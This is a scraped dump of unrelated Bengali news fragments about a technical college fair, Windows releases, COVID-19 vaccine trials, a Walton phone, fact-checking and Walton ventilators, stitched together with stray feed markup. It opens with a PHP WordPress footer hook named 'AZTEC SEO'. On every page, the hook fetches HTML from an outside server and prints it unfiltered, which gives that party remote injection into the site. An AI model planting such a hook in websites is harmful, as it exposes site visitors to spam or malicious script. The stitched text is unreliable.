/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
তিনি বলেন, সরকার উপজেলা পর্যায়ে কারিগরী শিক্ষা প্রতিষ্ঠান গড়ে তোলার প্রজেক্ট গ্রহণ করেছেন। যাতে গ্রামের ছেলে-মেয়েরা সহজে কারিগরি শিক্ষা গ্রহণ করে দক্ষ নাগিরিক হতে পারে। এ শিক্ষা যতো প্রসার হবে, ব্যক্তি জীবনের পাশাপাশি সমাজ ও দেশ ততো উন্নত হবে।
১৭ জুুন শনিবার সকাল ১০টায় “একটাই লক্ষ্য-হতে হবে দক্ষ” এ শ্লোগান নিয়ে কারিগরি শিক্ষার জনপ্রিয়তা বৃদ্ধি ও প্রচারণাসহ শিক্ষার্থীদের মেধা ও উদ্ভাবনী শক্তির বিকাশের লক্ষ্যে পটুয়াখালী সরকারী টেকনিক্যাল স্কুল ও কলেজে উদ্ভাবনী প্রতিযোগীতা-২০২৩ অনুষ্ঠানে প্রধান অতিথির বক্তব্যে তিনি এ কথা বলেন।
পটুয়াখালী সরকারী টেকনিক্যাল স্কুল ও কলেজের অধ্যক্ষ প্রকৌশলী আবদুল জব্বারের সভাপতিত্বে ও ইন্সঃ (পদার্থ) জসিম উদ্দিনের উপস্থাপনায় অনুষ্ঠানে বিশেষ অতিথির বক্তব্য রাখেন মেয়র মহিউদ্দিন আহমেদ।
এ সময় আরো উপস্থিত ছিলেন এসেট প্রজেক্টের ডেপুটি প্রজেক্ট ডিরেক্টর বিএম শরিফুল ইসলাম। কলেজের ইন্সঃ (গণিত) মাহবুব আলম, ইন্সঃ (গণিত) আবু সাইদ, ইন্সঃ (ওয়েলডিং) আবু বকর সিদ্দিক, ইন্সঃ (পদার্থ) প্রিয়াংকা সরকার, জুনিয়র ইন্সঃ (ইলেকট্রিক) জাফর হোসেনসহ শিক্ষার্থীরা।
উদ্ভাবনী প্রতিযোগিতায় বিভিন্ন ট্রেডের ১৫টি স্টলে নিজেরদের তৈরি যন্ত্রপাতির মাধ্যমে সহজ পন্থায় সোলার বিদ্যুৎ, পানি সেচ, পরিবেশ, ফরমালিনমুক্ত মাছ সংরক্ষণ, পরিবেশ রক্ষাসহ বিভিন্ন বিষয় উদ্ভাবন করেন শিক্ষার্থীরা।
]]>মূলত ২০১৫ সালে ‘উইন্ডোজ ১০’ উন্মোচনের পর তিন বছর পরপর নতুন সংস্করণ উন্মোচনের ধারা থেকে সরে আসার ঘোষণা দিয়েছিল মাইক্রোসফট। উইন্ডোজ ১০-এর নতুন সংস্করণ না এনে নিয়মিত হালনাগাদ ছাড়া হবে বলেও জানানো হয়েছিল।
ধারণা করা হচ্ছিল, উইন্ডোজ অপারেটিং সিস্টেম অন্যান্য সফটওয়্যারের মতোই সংস্করণনির্ভর থাকবে না। এজন্য উইন্ডোজ ১০ কয়েকবার হালানাগাদ হয়েছিল। এর মধ্যে দুটি ছিল বড় পরিবর্তন। মাইক্রোসফট উইন্ডোজের সর্বশেষ সংস্করণ হিসেবে উইন্ডোজ ১০ ছাড়ার পর ধারণা করা হয়েছিল, এটিই উইন্ডোজের সর্বশেষ সংস্করণ।
উইন্ডোজ ১০-ই যে সর্বশেষ সংস্করণ গণমাধ্যমে এমন খবর এলেও তা কখনও অস্বীকার করেনি মাইক্রোসফট। কিন্তু ২০২১ সালে উইন্ডোজ ১১ উন্মোচনের ঘোষণা দিয়ে নতুন আলোচনার জন্ম দেয় মার্কিন কোম্পানিটি।
প্রযুক্তিবিষয়ক সংবাদমাধ্যম ভার্জ জানিয়েছে, উইন্ডোজের জন্য তিন বছর পরপর নতুন সংস্করণ উন্মোচনের করার পুরোনো প্রথায় ফিরে যাচ্ছে মাইক্রোসফট। আর এটি সত্যি হলে উইন্ডোজের নতুন সংস্করণের দেখা মিলবে ২০২৪ সালেই।
মাইক্রোসফট উইন্ডোজের ১২ বিষয়ে কিছু না জানালেও আগামী সেপ্টেম্বর কিংবা অক্টোবর মাসে উইন্ডোজ ১১-এর আপডেট ছাড়া হবে।
]]>তৃতীয় পর্যায়ে মানবদেহে টিকার এই পরীক্ষামূলক প্রয়োগকে ফেজ থ্রি কোভ স্টাডি বলা হচ্ছে। এর আগে কখনও কোনও টিকা তৈরির অভিজ্ঞতা নেই মডার্নার। তবে মার্কিন সরকারের কাছ থেকে প্রায় ১০০ কোটি ডলার অর্থসাহায্য পেয়েছে তারা। যত তাড়াতাড়ি সম্ভব করোনার টিকা বাজারে আনতে নতুন ধরনের প্রযুক্তি ব্যবহার করছে তারা। তার জন্য গবেষণাগারে তৈরি কৃত্রিম এমআরএনএ দিয়ে টিকা তৈরি করা হচ্ছে।
এমআরএনএ হলো এক ধরনের জেনেটিক কোড, যার নির্দেশে কোষগুলি প্রোটিন তৈরি করে, যেগুলো কিনা আবার করোনার জীবাণুর প্রোটিনের মতোই দেখতে। করোনার জীবাণুদের খুঁজে বের করে তাদের বিরুদ্ধে রোগ প্রতিরোধ ক্ষমতা গড়ে তুলতে সাহায্য করে এই এমআরএনএ। এই পরীক্ষা সফল হলে ২০২১-এর মধ্যে ৫০ থেকে ১০০ কোটি ডোজ বাজারে আনা সম্ভব হবে বলে জানিয়েছেন মডার্নার চিফ এগজিকিউটিভ অফিসার স্টেফান বানচেল।
]]>ইতোমধ্যেই এই প্রতিষেধকটির তৃতীয় তথা শেষ পর্যায়ের হিউম্যান ট্রায়ালের তোড়জোড় শুরু হয়ে গিয়েছে। জানা গিয়েছে, মোট ৪২ হাজার স্বেচ্ছাসেবকের শরীরে এবার এই টিকা প্রয়োগ করা হবে।
করোনা আক্রান্ত এবং মৃতের নিরিখে বিশ্বের শীর্ষস্থানীয় তিনটি দেশকে বেছে নেওয়া হয়েছে এই অক্সফোর্ডের টিকার চূড়ান্ত পর্যায়ের হিউম্যান ট্রায়ালের জন্য। মার্কিন যুক্তরাষ্ট্রে ৩০ হাজার, ইংল্যান্ডের ১০ হাজার এবং ব্রাজিলে অন্তত ২ হাজার স্বেচ্ছাসেবকের উপর এই টিকার শেস পর্বের হিউম্যান ট্রায়াল হবে।
এ দিকে অক্সফোর্ড বিশ্ববিদ্যালয়ের গবেষকদের তৈরি এই প্রতিষেধকটির উৎপাদনের কাজ ইতোমধ্যেই শুরু করে দিয়েছে ব্রিটিশ ফার্মাসিউটিক্যাল জায়ান্ট ‘অ্যাস্ট্রা জেনিকা’। এই টিকা উৎপাদনের চূড়ান্ত প্রস্তুতি শুরু করে দিয়েছে টিকা প্রস্তুতকারক সংস্থা ভারতের সিরাম ইনস্টিটিউটও। সেপ্টেম্বরে মধ্যেই ২০০ কোটি ডোজ উৎপাদনের লক্ষ্যমাত্রা নিয়ে একজোটে এগোচ্ছে এই দুই সংস্থা।
গত মঙ্গলবার সিরাম ইনস্টিটিউটের প্রধান কার্যনির্বাহী কর্মকর্তা আদর পুনাওয়ালা জানান, প্রতিষেধকটির উৎপাদনের জন্য ১০ কোটি মার্কিন ডলার (প্রায় ৭৫০ কোটি টাকা) অর্থ বরাদ্দ করা হয়েছে। খুব শীঘ্রই এই প্রতিষেধক উৎপাদনের কাজও শুরু হয়ে যাবে। তবে প্রতিষেধকটির চূড়ান্ত পর্বের হিউম্যান ট্রায়ালের ফলাফল না পাওয়া পর্যন্ত এটির সুরক্ষা এবং কার্যকারিতার দিক বিবেচনা করে এটিকে বাজারে ছাড়া হবে না।
পুনাওয়ালা জানান, করোনা পরিস্থিতি যে দিকে এগোচ্ছে তাতে জরুরি ভিত্তিতে করোনা টিকার জোগান দেওয়ার প্রস্তুতি নিয়ে রাখছে সংস্থা। এর জন্য নিজেরাই ঝুঁকি নিয়ে আপাতত কয়েক লাখ প্রতিষেধকের ডোজ তৈরি করে রাখছে সিরাম ইনস্টিটিউট। সূত্র: জিনিউজ
]]>বাজারে নতুন স্মার্টফোন ছাড়লো ওয়ালটন। ‘প্রিমো এইচনাইন’ মডেলের ফোনটিতে ব্যবহৃত হয়েছে ভয়েস ওভার লংটার্ম ইভোল্যুশন (ভিওএলটিই বা ভোল্টি) প্রযুক্তি।
৬.১ ইঞ্চির এইচডি প্লাস ইউ-নচ আইপিএস ডিসপ্লে সমৃদ্ধ ফোনটিতে রয়েছে অ্যান্ড্রয়েড ৯.০ পাই অপারেটিং সিস্টেম, ১.৬ গিগাহার্জ গতির অক্টাকোর এআরএম কোর্টেক্স-এ৫৫ প্রসেসর, পাওয়ারভিআর জিই৮৩২২ গ্রাফিক্স, ৩ জিবি ডিডিআর৪ র্যাম, ১২৮ গিগাবাইট মাইক্রো এসডি কার্ড সাপোর্টসহ ৩২ গিগাবাইট অভ্যন্তরীণ মেমোরি, ৩৫০০ মিলিঅ্যাম্পিয়ার ব্যাটারি, ফেস আনলক, ফিঙ্গারপ্রিন্ট, ওটিএ ও ওটিজি।
ফোনটির পেছনে আছে এলইডি ফ্ল্যাশযুক্ত ১৩ এবং ২ মেগাপিক্সেলের অটোফোকাস ডুয়াল ক্যামেরা। এফ ২.০ অ্যাপারচার সমৃদ্ধ এই ক্যামেরায় ব্যবহৃত হয়েছে এআই (আর্টিফিশিয়াল ইন্টেলিজেন্স) এবং পিডিএএফ প্রযুক্তি।
সামনে রয়েছে ৮ মেগাপিক্সেল ক্যামেরা। দেশে তৈরি এই স্মার্টফোনে থাকছে ৩০ দিনের রিপ্লেসমেন্টসহ এক বছরের বিক্রয়োত্তর সেবা। ফোনটি ক্যামেলিয়ন ব্ল্যাক, পার্পল, সাইয়ান ব্লু এবং অরোরা গ্রিন রঙে পাওয়া যাবে। দাম ৮ হাজার ৬৯৯ টাকা।
– সংবাদ বিজ্ঞপ্তি
]]>শনিবার (২ মে) এমন একটি নোটিফিকেশন পাওয়ার পর ভোরের কাগজ লাইভ “মসজিদে নববী খুলে দেয়া হচ্ছে” এমন শিরোনামের একটি সংবাদ সরিয়ে নেয়। সংবাদটি তৃতীয় একটি সূত্রকে উদ্ধৃত করে প্রকাশ করা হয়েছিল। একই সংবাদটি প্রকাশ করেছিল বাংলানিউজ২৪, ঢাকা টাইমস, দৈনিক জনকণ্ঠ, বাংলাদেশ জার্নাল, বিবার্তাসহ বেশ কয়েকটি সংবাদমাধ্যম। তবে এ খবরটিকে ফেইক নিউজ বলছে ফেসবুকের ফ্যাক্ট চেকিং প্রতিষ্ঠান বুম বাংলাদেশ। বুম প্রকাশিত সংবাদটির বিভিন্ন সূত্র যাচাই করে সেখানে এ ব্যাপারে বিস্তারিত তথ্য দেয়া হয়।
পয়েন্টার ইনস্টিটিউটের নিরপেক্ষ অঙ্গসংগঠন ইন্টারন্যাশনাল ফ্যাক্ট চেকিং নেটওয়ার্ক (আইএফসিএন) অনুমোদিত প্রতিষ্ঠান বিওওএম (বুম)-এর সঙ্গে অংশীদার হয়ে ফেসবুক ফ্যাক্ট-চেকিং শুরু করবে বলে ঘোষণা দিয়েছিল গত ১৯ এপ্রিল। ফেসবুক বুমের সঙ্গে ভারত এবং মিয়ানমারের মতো অন্যান্য দেশেও কাজ শুরু করেছে।

তাছাড়া “মার্কিন গবেষণা বলছে করোনা প্রতিরোধে হিজাব সহায়ক” এমন একটি সংবাদকেও ফেইক সংবাদ হিসেবে শনাক্ত করেছে বুম বাংলাদেশ। সংবাদটি কালেরকণ্ঠ, বাংলাদেশ প্রতিদিন, ঢাকা টাইমস সহ বেশ কিছু অনলাইন মাধ্যমে প্রকাশিত হয়। এছাড়া করোনা নিয়ে এক নোবেলজয়ী বিজ্ঞানীর সংবাদ প্রকাশ করে যুগান্তর, বাংলাদেশ প্রতিদিনসহ বেশ কিছু অনলাইন।
এ ফ্যাক্ট চেকিং পদ্ধতিকে স্বাগত জানিয়েছেন ভোরের কাগজ লাইভের ইনচার্জ নিয়ন মতিয়ুল। সামনে বিভিন্ন সূত্র থেকে সংবাদ নেয়ার ক্ষেত্রে আরো বেশি সচেতন হতে এ প্রচেষ্টা কাজে লাগবে বলে মন্তব্য করেন তিনি। ভোরের কাগজ লাইভ সব সময়ই তথ্যের উৎস সম্পর্কে বেশি সচেতন। তারপরও আন্তর্জাতিক সংবাদগুলোর উৎস সম্পর্কে আরো বেশি সচেতন হওয়া প্রয়োজন বলে মনে করেন।
]]>হস্তান্তরের সময় আয়োজিত অনলাইন সংবাদ সম্মেলনে প্রতিমন্ত্রী পলক বলেন, ওয়ালটন তিনটি মডেলের প্রটোটাইপ জমা দিয়েছে। এর মধ্যে একটি হচ্ছে মেডট্রনিকের ডিজাইনে করা। আর বাকি দুটি তাদের নিজস্ব উদ্ভাবন। আমরা তিনটি প্রটোটাইপকেই স্বাস্থ্য অধিদপ্তরের কাছে আগামী কাল (আজ বুধবার) হস্তান্তর করব। এরপর তারা সেগুলো প্রটোকল মেনে রোগিদের দেহে স্থাপন করা হবে। যদি সেগুলো সঠিকভাবে কাজ করে তবে প্রথমে পরীক্ষামূলক দুয়েক’শ ভেন্টিলেটর উৎপাদন করা হবে। এরপর প্রয়োজনে বাণিজ্যিকভাবেও উৎপাদনে যেতে পারে কোম্পানিটি।
তিনি বলেন, ওয়ালটন অঙ্গীকার করেছে যে তারা শুধু যন্ত্রের উৎপাদন খরচই রাখবে। সে হিসেবে এটি বিশ্বে উৎপাদিত অন্য ভেন্টিলেটরের চেয়ে দামে অনেক কম হবে এটা নিশ্চিত করে বলা যায়। তবে ওয়ালটনের প্রটোটাইপই দেশে প্রথম নয় বলে এক প্রশ্নের জবাবে জানান প্রতিমন্ত্রী। তিনি বলেন, এ পর্যন্ত কতগুলো প্রটোটাইপ স্বাস্থ্য অধিপদপ্তরে জমা পড়েছে তা জানা নেই। তবে আমরা সবাইকে সমানভাবে সহযোগিতা করছি। ইতোমধ্যে মাইওয়ান একটা ভেন্টিলেটর মডেল উপস্থাপন করেছে। মিলিটারি ইনস্টিটিউট অব সায়েন্স অ্যান্ড টেকনোলজি (এমআইএসটি) একটা করেছে। সশস্ত্র বাহিনী একটা করেছে। আমাদের এটুআই ইনোভেশন ল্যাব ১৮টি মডেলের প্রটোটাইপ বানিয়েছে।
বিভিন্ন ল্যাব, বিশ্ববিদ্যালয়সহ সব মিলিয়ে ২০ থেকে ২৫ টি প্রটোটাইপ করা হয়েছে জানিয়ে তিনি বলেন, যারাই আসছে তাদের আমরা সুপারিশপত্র দিয়ে স্বাস্থ্য অধিদপ্তরে পাঠিয়েছি। কিন্তু কেউ জমা দিয়েছে কি-না বা ক্লিনিক্যাল ট্রায়ালে ছাড়পত্র পেয়েছে কি না তা আমাদের জানা নেই। এ বিষয়ে স্বাস্থ্য অধিদপ্তর বলতে পারবে।
সংবাদ সম্মেলনে ওয়ালটনের কর্মকর্তা গোলাম মোর্শেদ জানান, কবে নাগাদ তারা উৎপাদনে যেতে পারবেন তা সঠিকভাবে বলা সম্ভব নয়। কারণ, মেডট্রনিকের নকশা অনুযায়ী ভেন্টিলেটরে এমন কিছু কম্পেনেন্ট ব্যবহার করা হয় যা বিশ্বে দুয়েকটি কোম্পানি ছাড়া অন্য কেউ বানায় না। আমরা মেডট্রনিকের সহায়তায় সেসব কমপোনেন্ট আনার চেষ্টা করছি। তবে ওয়ালটনের বাকি দুইটি প্রটোটাইপে নিজস্ব টেকনোলেজি, নিজস্ব সোর্স ও আউট সোর্স ব্যবহার করা হয়েছে। আগামী মে মাসের শেষে বা জুনের শুরুতে প্রয়োজনীয় কিছু কমপোনেন্ট দেশে আসবে। তারপর পরীক্ষামূলক উৎপাদনে যেতে পারব। তবে এর আগে ক্লিনিক্যাল পরীক্ষার ধাপ অতিক্রম করতে হবে বলে জানান তিনি। এতে অনেক পরিবর্তন বা সংযোজনও আসতে পারে।
তিনি জানান, মেডট্রোনিকের ডিজাইন নিয়ে কাজ করতে গিয়ে ওয়ালটনের ইঞ্জিনিয়ারিং টিম নিজেরা বাকি দুটি মডেল তৈরি করেন। মূলত ভেন্টিলেটরে তিন ধরণের সিস্টেম থাকে। একটা হচ্ছে রোগী নিজে শ্বাসপ্রশ্বাস নিতে পারলে যন্ত্রের সহায্যে তার ফুসফুসে অক্সিজেন পৌঁছানো বা এসিস্টেড কন্ট্রোল। আরেকটা এসআইএমবি মুড, যাতে রোগি কিছুটা শ্বাস নিতে পারেন, এবং বাকিটা যন্ত্রের সাহায্যে দেয়া হয়। এর বাইরে একটা নেবুলাইজারসহ সিস্টেম। ওয়ালটনের মডেলগুলোতে শুধু নেবুলাইজার সিস্টেমটা দেয়া হয়নি শুধু। কারণ করোনা পরিস্থিতি মোকাবেলায় এ সিস্টেম দরকার নেই। তবে মডেলগুলো আইসিইউতে কাজ করবে বলে আশাবাদি তিনি।
সংবাদ সম্মেলনে জানানো হয় , মেডট্রনিকের পিবি-৫৬০ মডেলের ডিজাইনে বানানো ওয়ালটনের ভেন্টিলেটরটির নাম দেয়া হয়েছে ‘ডব্লিউপিবি ৫৬০’। আর তাদের দুটি মডেলের নাম দেয়া হয়েছে ‘ওয়ালটন কোভিড ভেন্টিলেটর ২০২০’ বা ‘ডব্লিউসিভি-২০’ এবং অন্যটি ‘ডব্লিউএবি-২০’।
]]>